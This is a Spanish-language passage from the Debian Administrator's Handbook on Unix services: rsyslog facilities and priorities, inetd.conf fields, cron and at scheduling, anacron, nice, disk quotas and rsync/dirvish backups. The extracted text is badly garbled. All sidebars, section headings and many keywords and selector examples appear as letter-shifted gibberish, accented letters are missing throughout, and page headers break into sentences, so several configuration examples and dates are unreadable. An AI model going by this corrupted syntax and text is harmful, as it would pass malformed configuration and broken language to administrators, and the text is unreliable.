Cada mensaje de registro es asociado con un subsistema de aplicaciones (llamados facility en
la documentacin):

BVUI y BVUIQSJW: para autenticacin;


DSPO: proviene servicios de programacin de tareas, cron y atd;
EBFNPO: afecta un demonio sin clasificacin especial (DNS, NTP, etc.);
Q: el servidor FTP;
LFSO: mensaje que proviene del ncleo;
MQS: proviene del subsistema de impresin;
NBJM: proviene del subsistema de correo electrnico;
OFXT: mensaje del subsistema Usenet (especialmente de un servidor NNTP protocolo
de transferencia de noticias en red, Network News Transfer Protocol que administra
grupos de noticias);
TZTMPH: mensajes del servidor syslogd en s;
VTFS: mensajes de usuario (genricos);
VVDQ: mensajes del servidor UUCP (programa de copia Unix a Unix, Unix to Unix Copy
Program, un protocolo antiguo utilizado notablemente para distribuir correo electrnico);
MPDBM a MPDBM: reservados para uso local.
Cada mensaje tiene asociado tambin un nivel de prioridad. Aqu est la lista en orden decreciente:

FNFSH: Ayuda! Hay una emergencia y el sistema probablemente est inutilizado.


BMFSUB: aprese, cualquier demora puede ser peligrosa, debe reaccionar inmediatamente;
DSJU: las condiciones son crticas;
FSS: error;



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

XBSO: advertencia (error potencial);


OPUJDF: las condiciones son normales pero el mensaje es importante;
JOGP: mensaje informativo;
EFCVH: mensaje de depuracin.

 &M BSDIJWP EF DPOGJHVSBDJO


La sintaxis del archivo /etc/rsyslog.conf est detallada en la pgina de manual rsyslog.
conf(5), pero tambin hay disponible documentacin HTML en el paquete rsyslog-doc (/usr/
share/doc/rsyslog-doc/html/index.html). El principio general es escribir pares de selector y accin. El selector define los mensajes relevantes y la accin describe qu hacer con
ellos.

4JOUBYJT EFM TFMFDUPS


El selector es una lista separada por punto y coma de pares TVCTJTUFNBQSJPSJEBE (por ejemplo: BVUIOPUJDFNBJMJOGP). Un asterisco puede representar todos los subsistemas o todas las
prioridades (por ejemplo: BMFSU o NBJM ). Puede agrupar varios subsistemas separndolos con
una coma (por ejemplo: BVUI NBJMJOGP). La prioridad indicada tambin incluye los mensajes de
prioridad igual o mayor; por lo tanto, BVUIBMFSU indica los mensajes del subsistema BVUI de prioridad BMFSU o FNFSH. Si se agrega un signo de exclamacin (!) como prefijo, indica lo contrario;
en otras palabras, prioridades estrictamente menores. Por lo tanto, BVUIOPUJDF slo incluye los
mensajes del subsistema BVUI con prioridades JOGP o EFCVH. Si se agrega un signo igual (=) como
prefijo corresponde nica y exactamente con la prioridad indicada (BVUIOPUJDF slo incluye
los mensajes del subsistema BVUI con prioridad OPUJDF).
Cada elemento en la lista del selector reemplaza elementos anteriores. As es posible restringir
un conjunto o excluir ciertos elementos del mismo. Por ejemplo, LFSOJOGPLFSOFSS significa
los mensajes del ncleo con prioridades entre JOGP y XBSO. La prioridad OPOF indica el conjunto
vaco (ninguna prioridad) y puede servir para excluir un subsistema de un conjunto de mensajes.
Por lo tanto DSJULFSOOPOF indica todos los mensajes con prioridad igual o mayor a DSJU que no
provengan del ncleo.

4JOUBYJT EF MBT BDDJPOFT


70-7&3 " -04
$*.*&/504
-B UVCFSB kQJQF{
DPO
OPNCSF VOB UVCFSB
QFSTJTUFOUF

6OB UVCFSB DPO OPNCSF FT VO UJQP QBSUJDVMBS EF BSDIJWP RVF GVODJPOB DPNP
VOB UVCFSB USBEJDJPOBM MB UVCFSB RVF DSFB DPO FM TNCPMP k]{ FO VOB DPO
TPMB
QFSP B USBWT EF VO BSDIJWP &TUF NFDBOJTNP UJFOF MB WFOUBKB EF QPEFS
SFMBDJPOBS EPT QSPDFTPT RVF OP FTUO SFMBDJPOBEPT 5PEP MP RVF TF FTDSJCB FO
VOB UVCFSB DPO OPNCSF CMPRVFB FM QSPDFTP RVF FTDSJCF IBTUB RVF VO QSPDFTP
JOUFOUF MFFS MPT EBUPT FTDSJUPT &TUF TFHVOEP QSPDFTP MFF MPT EBUPT FTDSJUPT QPS
FM QSJNFSP RVF QVFEF MVFHP DPOUJOVBS FKFDVUBOEP
1VFEF DSFBS FTUPT BSDIJWPT DPO FM QSPHSBNB mkfifo

$BQUVMP  4FSWJDJPT 6OJY



Las acciones posibles son:


agregar el mensaje a un archivo (ejemplo: /var/log/messages);
enviar el mensaje a un servidor syslog remoto (ejemplo: !MPHGBMDPUDPN);
enviar el mensaje a una tubera con nombre existente (ejemplo: ]EFWYDPOTPMF);
enviar el mensaje a uno o ms usuarios si tienen una sesin iniciada (ejemplo: SPPU SIFSU
[PH);
enviar el mensaje a todos los usuarios con sesiones activas (ejemplo: );
escribir el mensaje en una consola de texto (ejemplo: EFWZ).
4&(63*%"%
3FFOWP EF SFHJTUSPT

&T CVFOB JEFB HSBCBS MPT SFHJTUSPT NT JNQPSUBOUFT FO VOB NRVJOB TFQBSBEB
UBM WF[ EFEJDBEB B FTUF QSPQTJUP
ZB RVF FWJUBS RVF DVBMRVJFS JOUSVTP FMJNJOF
MPT SBTUSPT EF TV JOUSPNJTJO B NFOPT QPS TVQVFTUP RVF UBNCJO DPNQSPNFUB
FTUF PUSP TFSWJEPS
 -P RVF FT NT FO FM DBTP EF VO QSPCMFNB NBZPS DPNP VO
GBMMP BCSVQUP EFM ODMFP
UFOES EJTQPOJCMF MPT SFHJTUSPT FO PUSP FRVJQP MP RVF
BVNFOUB TVT QSPCBCJMJEBEFT EF EFUFSNJOBS MB TFDVFODJB EF FWFOUPT RVF MMFW
BM GBMMP
1BSB BDFQUBS NFOTBKFT EF SFHJTUSP FOWJBEPT QPS PUSBT NRVJOBT EFCF SFDPO
GJHVSBS STZTMPH FO MB QSDUJDB FT TVGJDJFOUF BDUJWBS MBT MOFBT ZB QSFQBSBEBT FO
FM BSDIJWP /etc/rsyslog.conf $ModLoad imudp Z $UDPServerRun 514


 &M TVQFSTFSWJEPS inetd


Inetd (frecuentemente llamado superservidor de internet) es un servidor de servidores. Ejecuta a pedido servidores rara vez utilizados para que no tengan que ejecutar continuamente.
El archivo /etc/inetd.conf enumera estos servidores y sus puertos usuales. El programa inetd
escucha en todos estos puertos y cuando detecta una conexin a uno de ellos ejecuta el programa
servidor correspondiente.
/03."5*7" %&#*"/
3FHJTUSP EF VO TFSWJEPS FO
inetd.conf

'SFDVFOUFNFOUF MPT QBRVFUFT EFTFBO SFHJTUSBS VO OVFWP TFSWJEPS FO FM BSDIJWP


/etc/inetd.conf QFSP MB /PSNBUJWB %FCJBO QSPICF RVF VO QBRVFUF NPE
JGJRVF VO BSDIJWP EF DPOGJHVSBDJO RVF OP MF QFSUFOFDF &T QPS FTUP RVF TF
DSF FM TDSJQU updated-inetd FO FM QBRVFUF EFM NJTNP OPNCSF
 BENJOJTUSB FM
BSDIJWP EF DPOGJHVSBDJO Z PUSPT QBRVFUFT QVFEFO VUJMJ[BSMP QBSB SFHJTUSBS VO
OVFWP TFSWJEPS FO MB DPOGJHVSBDJO EFM TVQFSTFSWJEPS

Cada lnea significativa del archivo /etc/inetd.conf describe un servidor con siete campos
(separados con espacios):
El nmero de puerto TCP o UDP o el nombre del servicio (asociado con un nmero de
puerto estndar con la informacin en el archivo /etc/services).
El tipo de zcalo: TUSFBN para una conexin TCP, EHSBN para datagramas UDP.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

El protocolo: UDQ o VEQ.


Las opciones: dos valores posibles, XBJU o OPXBJU para indicarle a inetd si debe esperar o no a que el proceso ejecutado finalice antes de aceptar una nueva conexin. Para
conexiones TCP, fciles de gestionar simultneamente, utilizar generalmente OPXBJU.
Para programas que respondan sobre UDP debera utilizar OPXBJU slo si el servidor es
capaz de gestionar varias conexiones en paralelo. Puede agregar un punto al final de este
campo seguido de la cantidad mxima de conexiones autorizadas por minuto (el lmite
predeterminado es 256).
El nombre del usuario bajo el que ejecutar el servidor.
La ruta completa al programa del servidor a ejecutar.
Los parmetros: esta es una lista completa de los parmetros del programa, incluyendo su
propio nombre (BSHW<> en C).
El ejemplo a continuacin ilustra los casos ms comunes:
&KFNQMP 
talk
dgram udp wait
finger stream tcp nowait
ident stream tcp nowait

&YUSBDUP EF /etc/inetd.conf

nobody.tty /usr/sbin/in.talkd in.talkd


nobody
/usr/sbin/tcpd
in.fingerd
nobody
/usr/sbin/identd
identd -i

Frecuentemente se utiliza el programa tcpd en el archivo /etc/inetd.conf. Permite limitar


las conexiones entrantes aplicando reglas de control de acceso, documentadas en la pgina de
manual hosts_access(5), y que puede configurar en los archivos /etc/hosts.allow y /etc/
hosts.deny. Una vez que se determin que la conexin est autorizada, tcpd ejecuta el servidor
real (en el ejemplo: in.fingerd). Vale la pena aclarar que tcpd necesita el nombre con el que
se lo invoca (que es el primer parmetro: BSHW<>) para identificar el programa real a ejecutar.
No debera iniciar la lista de parmetros con UDQE sino con el programa subyacente.
$0.6/*%"%
8JFUTF 7FOFNB

8JFUTF 7FOFNB QSPHSBNBEPS SFDPOPDJEP QPS TV FYQFSJFODJB TPCSF TFHVSJEBE


FT FM BVUPS EFM QSPHSBNB tcpd 5BNCJO FT FM DSFBEPS QSJODJQBM EF 1PTUGJY
FM TFSWJEPS EF DPSSFP NPEVMBS 4.51 QSPUPDPMP TJNQMF EF USBOTGFSFODJB EF
DPSSFP k4JNQMF .BJM 5SBOTGFS 1SPUPDPM{
EJTFBEP QBSB TFS NT TFHVSP Z DPO
GJBCMF RVF sendmail RVF UJFOF VOB MBSHB IJTUPSJB EF WVMOFSBCJMJEBEFT EF TFHVSJ
EBE

"-5&3/"5*7"
0USPT QSPHSBNBT inetd

4J CJFO %FCJBO JOTUBMB PQFOCTEJOFUE EF GPSNB QSFEFUFSNJOBEB OP GBMUBO BM


UFSOBUJWBT QPEFNPT NFODJPOBS JOFUVUJMTJOFUE NJDSPJOFUE SMJOFUE Z YJOFUE
&TUB MUJNB FODBSOBDJO EF TVQFSTFSWJEPS PGSFDF QPTJCJMJEBEFT NVZ JOUFSF
TBOUFT /PUBCMFNFOUF TF QVFEF EJWJEJS TV DPOGJHVSBDJO FO WBSJPT BSDIJWPT
BMNBDFOBEPT QPS TVQVFTUP FO FM EJSFDUPSJP /etc/xinetd.d/
MP RVF QVFEF
IBDFS NT TFODJMMB MB WJEB EFM BENJOJTUSBEPS

$BQUVMP  4FSWJDJPT 6OJY



 1SPHSBNBDJO EF UBSFBT DPO cron Z atd


es el demonio responsable de ejecutar tareas programadas y recurrentes (todos los das,
todas las semanas, etc.); atd est encargado de los programas a ejecutar una sola vez pero en un
momento especfico en el futuro.
cron

En un sistema Unix, muchas tareas estn programadas para ejecutarse regularmente:


rotar los archivos de registro;
actualizar la base de datos del programa locate;
respaldos;
scripts de mantenimiento (como limpiar los archivos temporales).
De forma predeterminada, todos los usuarios pueden programar tareas para ejecutar. Cada
usuario tiene su propio crontab en el que pueden almacenarlas. Puede editarlo ejecutando crontab -e (el contenido del mismo es almacenado en el archivo /var/spool/cron/
crontabs/usuario).
4&(63*%"%
3FTUSJDDJO EF cron P atd

1VFEF SFTUSJOHJS FM BDDFTP B cron TJ DSFB VO BSDIJWP EF BVUPSJ[BDJO FYQMDJ


UB VOB MJTUB CMBODB
FO /etc/cron.allow EPOEF JOEJRVF TMP MPT VTVBSJPT
BVUPSJ[BEPT B QSPHSBNBS UBSFBT 5PEPT MPT EFNT VTVBSJPT BVUPNUJDBNFOUF
RVFEBSO FYDMVJEPT EF EJDIB GVODJPOBMJEBE " MB JOWFSTB TJ TMP EFTFB CMPRVFBS
VOPT QPDPT VTVBSJPT QSPCMFNUJDPT QPESB BHSFHBS TV OPNCSFT EF VTVBSJP FO
FM BSDIJWP EF QSPIJCJDJO FYQMDJUB /etc/cron.deny &TUB NJTNB GVODJPOBMJEBE
FTU EJTQPOJCMF QBSB atd DPO MPT BSDIJWPT /etc/at.allow Z /etc/at.deny

El usuario root tiene su propio crontab, pero tambin puede utilizar el archivo /etc/crontab
o escribir archivos crontab adicionales en el directorio /etc/cron.d. Estas dos ltimas soluciones tienen la ventaja de poder especificar el usuario bajo el que se ejecutar el programa.
De forma predeterminada, el paquete cron incluye algunas tareas programadas que ejecutan:
programas en el directorio /etc/cron.hourly/ una vez por hora;
programas en el directorio /etc/cron.daily/ una vez por da;
programas en el directorio /etc/cron.weekly/ una vez por semana;
programas en el directorio /etc/cron.monthly/ una vez por mes.
Muchos paquetes Debian dependen de este servicio: agregan sus scripts de mantenimiento en
estos directorios, los cuales garantizan un funcionamiento ptimo de sus servicios.

 'PSNBUP EF VO BSDIJWP crontab



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

46(&3&/$*"
"UBKPT EF UFYUP QBSB cron

cron SFDPOPDF BMHVOBT BCSFWJBDJPOFT RVF SFFNQMB[BO MPT QSJNFSPT DJODP DBN
QPT EF VO FMFNFOUP EF crontab $PSSFTQPOEFO B MBT PQDJPOFT EF QSPHSBNBDJO

NT DPNVOFT
@yearly

VOB WF[ QPS BP  EF &OFSP B MBT 



@monthly VOB WF[ QPS NFT FM SP EF NFT B MBT 

@weekly VOB WF[ QPS TFNBOB %PNJOHP B MBT 

@daily VOB WF[ QPS EB B MBT 

@hourly VOB WF[ QPS IPSB BM QSJODJQJP EF DBEB IPSB


cron

$"40 &41&$*"Z IPSBSJPT EF WFSBOP

&O %FCJBO cron UJFOF FO DVFOUB MPT DBNCJPT EF IPSB QBSB IPSBSJPT EF WFSBOP
P EF IFDIP DVBMRVJFS DBNCJP JNQPSUBOUF FO MB IPSB MPDBM
EF MB NFKPS GPSNB
RVF MF FT QPTJCMF 1PS MP UBOUP MBT UBSFBT RVF EFCFO FKFDVUBSTF EVSBOUF VOB IPSB
RVF OVODB FYJTUJ QPS FKFNQMP BRVFMMBT QSPHSBNBEBT QBSB MBT  EVSBOUF
FM DBNCJP EF IPSBSJP EF WFSBOP FO 'SBODJB ZB RVF FM SFMPK TBMUB EF MBT  B
MBT  EJSFDUBNFOUF
TF FKFDVUBSO QPDP EFTQVT EFM DBNCJP EF IPSB QPS
MP UBOUP BMSFEFEPS EF MBT  %45
 1PS PUSP MBEP FO PUPP MBT UBSFBT TFSO
FKFDVUBEBT TMP VOB WF[ DVBOEP QPESBO TFS FKFDVUBEBT WBSJBT WFDFT B MBT 
%45 Z MVFHP B MBT  FO IPSBSJP FTUOEBS ZB RVF B MBT  %45 FM SFMPK
WVFMWF B MBT 

5FOHB DVJEBEP TJO FNCBSHP TJ FM PSEFO Z FM UJFNQP FOUSF FKFDVDJPOFT EF UBS
FBT QSPHSBNBEBT JNQPSUB %FCF SFWJTBS MB DPNQBUJCJMJEBE EF FTUBT MJNJUBDJPOFT
DPO FM DPNQPSUBNJFOUP EF cron TJ FT OFDFTBSJP QVFEF QSFQBSBS VOB QSPHSB
NBDJO FTQFDJBM QBSB MBT EPT OPDIFT QSPCMFNUJDBT EFM BP

Cada lnea significativa de un archivo crontab describe una tarea programada con los siguientes
seis (o siete) campos:
el valor del minuto (nmero de 0 a 59);
el valor de la hora (de 0 a 23);
el valor del da del mes (de 1 a 31);
el valor del mes (de 1 a 12);
el valor de los das de la semana (de 0 a 7, donde 1 es el lunes y el domingo es tanto el 0
como el 7; tambin es posible utilizar las tres primeras letras del nombre del da en ingls,
como 4VO, .PO, etc.);
el nombre de usuario bajo el que se ejecutar el programa (en el archivo /etc/crontab y
en los fragmentos ubicados en /etc/cron.d/, pero no en los archivos de cada usuario);
el programa a ejecutar (cuando se cumpla la condicin definida por los primeros cinco
campos).
Todos estos detalles estn documentados en la pgina de manual crontab(5).
Puede expresar cada valor como una lista de valores posibles (separados por coma). La sintaxis
BC describe el intervalo de todos los valores entre B y C. La sintaxis BCD describe el intervalo

$BQUVMP  4FSWJDJPT 6OJY



con un incremento de D (por ejemplo:  es lo mismo que      . Un asterisco es


un comodn y representa todos los valores posibles.
&KFNQMP 
#Formato
#min hora dia mes dds

&KFNQMP EF BSDIJWP crontab

programa

# Descargar los datos todas las noches a las 19:25


25 19
*
*
*
$HOME/bin/descargar.pl
# 08:00 en das de semana (Lunes a Viernes)
00 08
*
*
1-5 $HOME/bin/haceralgo
# Reiniciar el proxy IRC luego de cada reinicio
@reboot /usr/bin/dircproxy

46(&3&/$*"
&KFDVDJO EF VO QSPHSBNB
EVSBOUF FM JOJDJP

1BSB FKFDVUBS VO QSPHSBNB TMP VOB WF[ KVTUP EFTQVT EF JOJDJBS FM FRVJQP
QVFEF VUJMJ[BS FM NBDSP @reboot SFJOJDJBS cron OP EJTQBSBS BRVFMMP QSPHSB
NBEP DPO @reboot
 &TUF NBDSP SFFNQMB[B MPT QSJNFSPT DJODP DBNQPT EF VO
FMFNFOUP FO FM BSDIJWP kDSPOUBC{

 6UJMJ[BDJO EFM QSPHSBNB at


at ejecuta un programa en un momento especfico en el futuro. Obtiene la fecha y hora deseada

como parmetros y el programa a ejecutar en su entrada estndar. Ejecutar el programa como si


hubiese sido ingresado en la consola actual. at tambin se encarga de mantener el entorno para
poder reproducir las mismas condiciones al ejecutar el programa. Puede indicar la hora con las
convenciones usuales:  o QN representan 12 minutos pasadas las 4 de la tarde. Tambin
puede especificar la fecha en varios formatos europeos u occidentales, incluyendo %%..""
( representara el 27 de Julio de 2012), """"..%% (la misma fecha se representara
como ), ..%%<$$>"" (es decir:  o  representan, ambas, el 25
de Diciembre de 2012) o simplemente ..%%$$"" (de forma que  o  tambin
representara el 25 de Diciembre de 2012). Sin fecha, ejecutar el programa tan pronto como
el reloj indique la hora especificada (el mismo da o el siguiente si ya pas dicha hora ese da).
Tambin puede ingresar simplemente today o tomorrow representando el da actual o el
da siguiente, respectivamente.
$ at 09:00 27.07.14 <<END
> echo "No olvides desearle un feliz cumpleaos a Raphal!" \
>
| mail lolando@debian.org
> END
warning: commands will be executed using /bin/sh
job 31 at Fri Jul 27 09:00:00 2012



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Una sintaxis alternativa posterga la ejecucin por un tiempo determinado: at now + nmero
perodo. El perodo puede ser NJOVUFT (minutos), IPVST (horas), EBZT (das) o XFFLT (semanas).
nmero simplemente indica la cantidad de dichas unidades deben pasar antes de ejecutar el programa.
Para cancelar una tarea programada con cron, simplemente ejecute crontab -e y elimine la
lnea correspondiente del archivo crontab. Para tareas en at es casi igual de sencillo: ejecute atrm
nmero-tarea. El nmero de tarea es indicado por at cuando la program, pero puede volver a
encontrarla ejecutando atq que le proveer una lista de las tareas programadas actualmente.

 1SPHSBNBDJO EF UBSFBT BTJODSOJDBT anacron


anacron es el demonio que completa cron en equipos que no estn encendidos todo el tiempo.

Dado que generalmente las tareas recurrentes estn programadas para la mitad de la noche, no
ejecutarn nunca si la mquina est apagada en esos momentos. El propsito de anacron es ejecutarlas teniendo en cuenta los perodos de tiempo en los que el equipo no estuvo funcionando.
Sepa que anacron frecuentemente ejecutar dichos programas unos minutos despus de iniciar
la mquina, lo que utilizar poder de procesamiento del equipo. Es por esto que se ejecutan
las tareas en el archivo /etc/anacrontab con el programa nice que reduce su prioridad de
ejecucin, limitando as su impacto en el resto del sistema. Tenga en cuenta que el formato
de este archivo no es el mismo que el de /etc/crontab; si tiene necesidades especiales para
anacron revise la pgina de manual anacrontab(5).
70-7&3 " -04
$*.*&/504
1SJPSJEBEFT Z nide

-PT TJTUFNBT 6OJY Z QPS MP UBOUP -JOVY


TPO TJTUFNBT NVMUJUBSFB Z NVM
UJVTVBSJP 7BSJPT QSPDFTPT QVFEF FKFDVUBS FO QBSBMFMP Z QFSUFOFDFS B EJGFSFOUFT
VTVBSJPT FM ODMFP NFEJBS FM BDDFTP B MPT SFDVSTPT QBSB MPT EJGFSFOUFT QSP
DFTPT $PNP QBSUF EF FTUB UBSFB UJFOF FM DPODFQUP EF QSJPSJEBE RVF QFSNJUF
GBWPSFDFS B DJFSUPT QSPDFTPT QPS TPCSF PUSPT TFHO TFB OFDFTBSJP $VBOEP TBCF
RVF VO QSPDFTP QVFEF FKFDVUBS DPO QSJPSJEBE CBKB QVFEF JOEJDBSMP FKFDVUO
EPMP DPO nice programa &M QSPHSBNB FOUPODFT UFOES VOB QPSDJO NT QF
RVFB EFM $16 Z UFOES VO NFOPS JNQBDUP TPCSF PUSPT QSPDFTPT FO FKFDVDJO
1PS TVQVFTUP TJ OP IBZ PUSPT QSPDFTPT RVF OFDFTJUFO FKFDVUBS FM QSPHSBNB OP
TFS SFTUSJOHJEP BSUJGJDJBMNFOUF
GVODJPOB DPO OJWFMFT EF kCPOEBE{ MPT OJWFMFT QPTJUJWPT EF  B 
SF
EVDFO QSPHSFTJWBNFOUF MB QSJPSJEBE NJFOUSBT RVF MPT OJWFMFT OFHBUJWPT EF 
 B 
BVNFOUBO MB QSJPSJEBE QFSP TMP SPPU QVFEF VUJMJ[BS FTUPT OJWFMFT
OFHBUJWPT " NFOPT RVF TF JOEJRVF MP DPOUSBSJP SFWJTF MB QHJOB EF NBOVBM
nice(1)
nice BVNFOUBS FO  FM OJWFM BDUVBM
nice

4J EFTDVCSF RVF VOB UBSFB RVF FTU QSPDFTBOEP EFCFSB IBCFSTF FKFDVUBEP DPO
nice OP FT NVZ UBSEF QBSB DPSSFHJSMP FM QSPHSBNB renice NPEJGJDB MB QSJPSJEBE
EF DVBMRVJFS QSPDFTP RVF FTU FO FKFDVDJO FO MB EJSFDDJO RVF EFTFF QFSP
SFEVDJS MB kCPOEBE{ EF VO QSPDFTP FTU SFTFSWBEP QBSB FM VTVBSJP SPPU


Instalar el paquete anacron desactiva la ejecucin via cron de los scripts en los directorios
/etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/ y /etc/cron.monthly/. Esto

$BQUVMP  4FSWJDJPT 6OJY



evita que sean ejecutados tanto por anacron como por cron. El programa cron continuar activo y seguir administrando otras tareas programadas (especialmente aquellas programadas por
los usuarios).

 $VPUBT
El sistema de cuotas permite limitar el espacio en disco reservado para un usuario o grupo de
usuarios. Para configurarlo, debe tener un ncleo compatible (compilado con la opcin CONFIG_
QUOTA) como es el caso de los ncleos Debian. Puede encontrar el software de administracin
de cuotas en el paquete Debian quota.
Para activarlo en un sistema de archivos debe indicar las opciones VTSRVPUB y HSQRVPUB en el
archivo /etc/fstab para las cuotas de usuario y grupos, respectivamente. Al reiniciar el equipo
se actualizarn las cuotas cuando no exista actividad en el disco (una condicin necesaria para
poder contabilizar apropiadamente el espacio en disco ya utilizado).
Ejecutar edquota usuario (o edquota -g grupo) le permite modificar los lmites mientras
examina el uso actual del espacio en disco.
:&/%0 .4 "--
%FGJOJDJO EF DVPUBT DPO VO
TDSJQU

1VFEF VUJMJ[BS FM QSPHSBNB setquota FO VO TDSJQU QBSB NPEJGJDBS BVUPNUJDB


NFOUF NVDIBT DVPUBT 4V QHJOB EF NBOVBM setquota(8) DPOUJFOF MPT EFUBMMFT
EF MB TJOUBYJT RVF EFCF VUJMJ[BS

El sistema de cuotas le permite definir cuatro lmites:


dos lmites (llamados suave y duro) se refieren a la cantidad de bloques utilizados. Si
cre el sistema de archivos con un tamao de bloque de 1 kibibyte, cada bloque contiene
1024 bytes del mismo archivo. Por lo tanto, los bloques no saturados inducen prdida de
espacio en disco. Puede saturar una cuota de 100 bloques, que tericamente permitiran
almacenar 102400 bytes, con slo 100 archivos de 500 bytes cada uno que slo representan
50000 bytes en total.
dos lmites (suave y duro) que hacen referencia a la cantidad de inodos utilizados. Cada
archivo ocupa al menos un inodo para almacenar informacin sobre s mismo (permisos,
dueo, marcas temporales del ltimo acceso, etc.). Por lo tanto, es un lmite en la cantidad
de archivos del usuario.
Puede exceder temporalmente un lmite suave; el programa warnquota, generalmente ejecutado por cron, simplemente advertir al usuario que excedieron su cuota. Nunca podr exceder
un lmite duro: el sistema rechazar toda operacin que fuera a exceder una cuota dura.
70$"#6-"3*0
#MPRVFT F JOPEPT

&M TJTUFNB EF BSDIJWPT EJWJEF FM EJTDP EVSP FO CMPRVFT QFRVFBT SFBT


DPOUJHVBT %FGJOJS FM UBNBP EF EJDIPT CMPRVFT DVBOEP DSFF FM TJTUFNB EF
BSDIJWPT Z HFOFSBMNFOUF WBSB FOUSF  Z  LJCJCZUFT
6O CMPRVF QVFEF VUJMJ[BSTF QBSB BMNBDFOBS MPT EBUPT SFBMFT EF VO BSDIJWP P MPT
NFUBEBUPT VUJMJ[BEPT QPS FM TJTUFNB EF BSDIJWPT &OUSF FTUPT NFUBEBUPT FODPO
USBS FTQFDJBMNFOUF MPT JOPEPT 6O JOPEP VUJMJ[B VO CMPRVF EFM EJTDP EVSP QFSP



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

OP TF MP UJFOF FO DVFOUB SFTQFDUP B MB DVPUB EF CMPRVFT TMP FO MB DVPUB EF JOP


EPT
Z DPOUJFOF UBOUP MB JOGPSNBDJO EFM BSDIJWP BM RVF DPSSFTQPOEF OPNCSF
EVFP QFSNJTPT FUD
Z QVOUFSPT B MPT CMPRVFT EF EBUPT RVF TPO VUJMJ[BEPT
SFBMNFOUF 1BSB BSDIJWPT NVZ HSBOEFT RVF PDVQBO NT CMPRVFT RVF MPT VO JO
PEP QVFEF SFGFSFODJBS FYJTUF VO TJTUFNB EF CMPRVFT JOEJSFDUPT FM JOPEP IBDF
SFGFSFODJB B VOB MJTUB EF CMPRVFT RVF OP DPOUJFOFO EBUPT EJSFDUBNFOUF TJOP
PUSB MJTUB EF CMPRVFT

Si ejecuta edquota -t puede definir un perodo de gracia mximo autorizado durante el que
se puede exceder un lmite suave. Luego de este perodo se interpretar el lmite suave como
uno duro y el usuario deber reducir su uso de espacio en disco por debajo de este lmite para
poder escribir en disco duro.
:&/%0 .4 "--
$POGJHVSBDJO EF VOB DVPUB
QSFEFUFSNJOBEB QBSB OVFWPT
VTVBSJPT

1BSB EFGJOJS VOB DVPUB BVUPNUJDB QBSB VTVBSJPT OVFWPT EFCF DPOGJHVSBS VO
VTVBSJP QBUSO DPO edquota P setquota
F JOEJDBS TV OPNCSF EF VTVBSJP FO
MB WBSJBCMF QUOTAUSER FO FM BSDIJWP /etc/adduser.conf 4F BQMJDBS BVUPNUJ
DBNFOUF EJDIB DPOGJHVSBDJO EF DVPUB B DBEB OVFWP VTVBSJP DSFBEP DPO FM
QSPHSBNB adduser

 3FTQBMEP
Realizar respaldos es una de las principales responsabilidades de cualquier administrador; pero
es un tema complejo, que involucra herramientas potentes que usualmente son difciles de dominar.
Existen muchos programas, como amanda, bacula y BackupPC. stos son sistemas cliente/servidor con muchas opciones y cuya configuracin es bastante complicada. Algunos proveen una
interfaz de usuario amigable para mitigarlo. Sin embargo, como bien puede comprobar con
apt-cache search backup, Debian contiene docenas de paquetes de software de respaldo que
cubren todos los casos de uso posibles.
En lugar de detallar algunos de ellos, esta seccin presentar lo que pensaron los administradores de Falcot Corp cuando definieron su estrategia de respaldos.
En Falcot Corp los respaldos tiene dos objetivos: restaurar archivos eliminados por error y recuperar rpidamente cualquier equipo (servidor o de escritorio) en el que falle el disco duro.

 3FTQBMEPT DPO rsync


Habiendo descartado los respaldos en cintas por ser lentos y costosos, se respaldarn los datos
en discos duros en un servidor dedicado en el que utilizarn RAID por software (revise la Seccin
12.1.1, RAID por software pgina 308) que proteger los datos contra errores de disco duro.
No se respaldarn individualmente los equipos de escritorio, pero se le informa a los usuarios
que se respaldar su cuenta personal en el servidor de archivos del departamento. Se utiliza di-

$BQUVMP  4FSWJDJPT 6OJY



ariamente el programa rsync (en el paquete del mismo nombre) para respaldar estos diferentes
servidores.
70-7&3 " -04
$*.*&/504
&M FOMBDF EVSP VO TFHVOEP
OPNCSF QBSB FM BSDIJWP

" EJGFSFODJB EF VO FOMBDF TJNCMJDP OP TF QVFEF EJGFSFODJBS VO FOMBDF EVSP


EFM BSDIJWP FOMB[BEP $SFBS VO FOMBDF EVSP FT FTFODJBMNFOUF MP NJTNP RVF
EBS BM BSDIJWP VO TFHVOEP OPNCSF &T QPS FTUP RVF FMJNJOBS VO FOMBDF EVSP
TMP FMJNJOB VOP EF MPT OPNCSFT BTPDJBEPT BM BSDIJWP 4JFNQSF RVF RVFEF PUSP
OPNCSF BTPDJBEP BM BSDIJWP MPT EBUPT FO M TFHVJSO QSFTFOUFT FO FM TJTUFNB EF
BSDIJWPT &T JOUFSFTBOUF TBCFS RVF B EJGFSFODJB EF VOB DPQJB VO FOMBDF EVSP
OP PDVQB FTQBDJP BEJDJPOBM FO FM EJTDP EVSP
1VFEF DSFBS VO FOMBDF EVSP DPO ln objetivo enlace &M BSDIJWP FOMBDF TFS
VO OVFWP OPNCSF QBSB FM BSDIJWP PCKFUJWP 4MP QVFEF DSFBS FOMBDFT EVSPT FO
FM NJTNP TJTUFNB EF BSDIJWPT NJFOUSBT RVF MPT FOMBDFT TJNCMJDPT OP UJFOFO
EJDIB SFTUSJDDJO

El espacio en disco disponible prohbe la implementacin de un respaldo diario completo. Por lo


tanto, el programa rsync es precedido con una duplicacin del contenido del respaldo anterior
con enlaces duros, lo que evita utilizar demasiado espacio en disco. Luego, el proceso rsync slo
reemplazar los archivos que fueron modificados desde el ltimo respaldo. Con este mecanismo,
pueden mantener una gran cantidad de respaldos en un espacio pequeo. Debido a que todos
los respaldos estn disponibles inmediatamente (por ejemplo, en diferentes directorios de un
recurso compartido en la red) puede realizar comparaciones entre dos fechas rpidamente.
Puede implementar fcilmente este mecanismo de respaldo con el programa dirvish. Utiliza
un espacio de almacenamiento de respaldo (bank banco en su vocabulario) en el que
ubica copias con marcas temporales de conjuntos de archivos de respaldo (estos conjuntos son
llamados vaults bvedas en la documentacin de dirvish).
La configuracin principal se encuentra en el archivo /etc/dirvish/master.conf. Define la
ubicacin del espacio de almacenamiento de respaldos, la lista de bvedas administradas y
los valores predeterminados de expiracin de los respaldos. El resto de la configuracin est
ubicada en los archivos banco/bveda/dirvish/default.conf y contienen las configuraciones
especficas a los conjuntos de archivos correspondientes.
&KFNQMP 
bank:
/backup
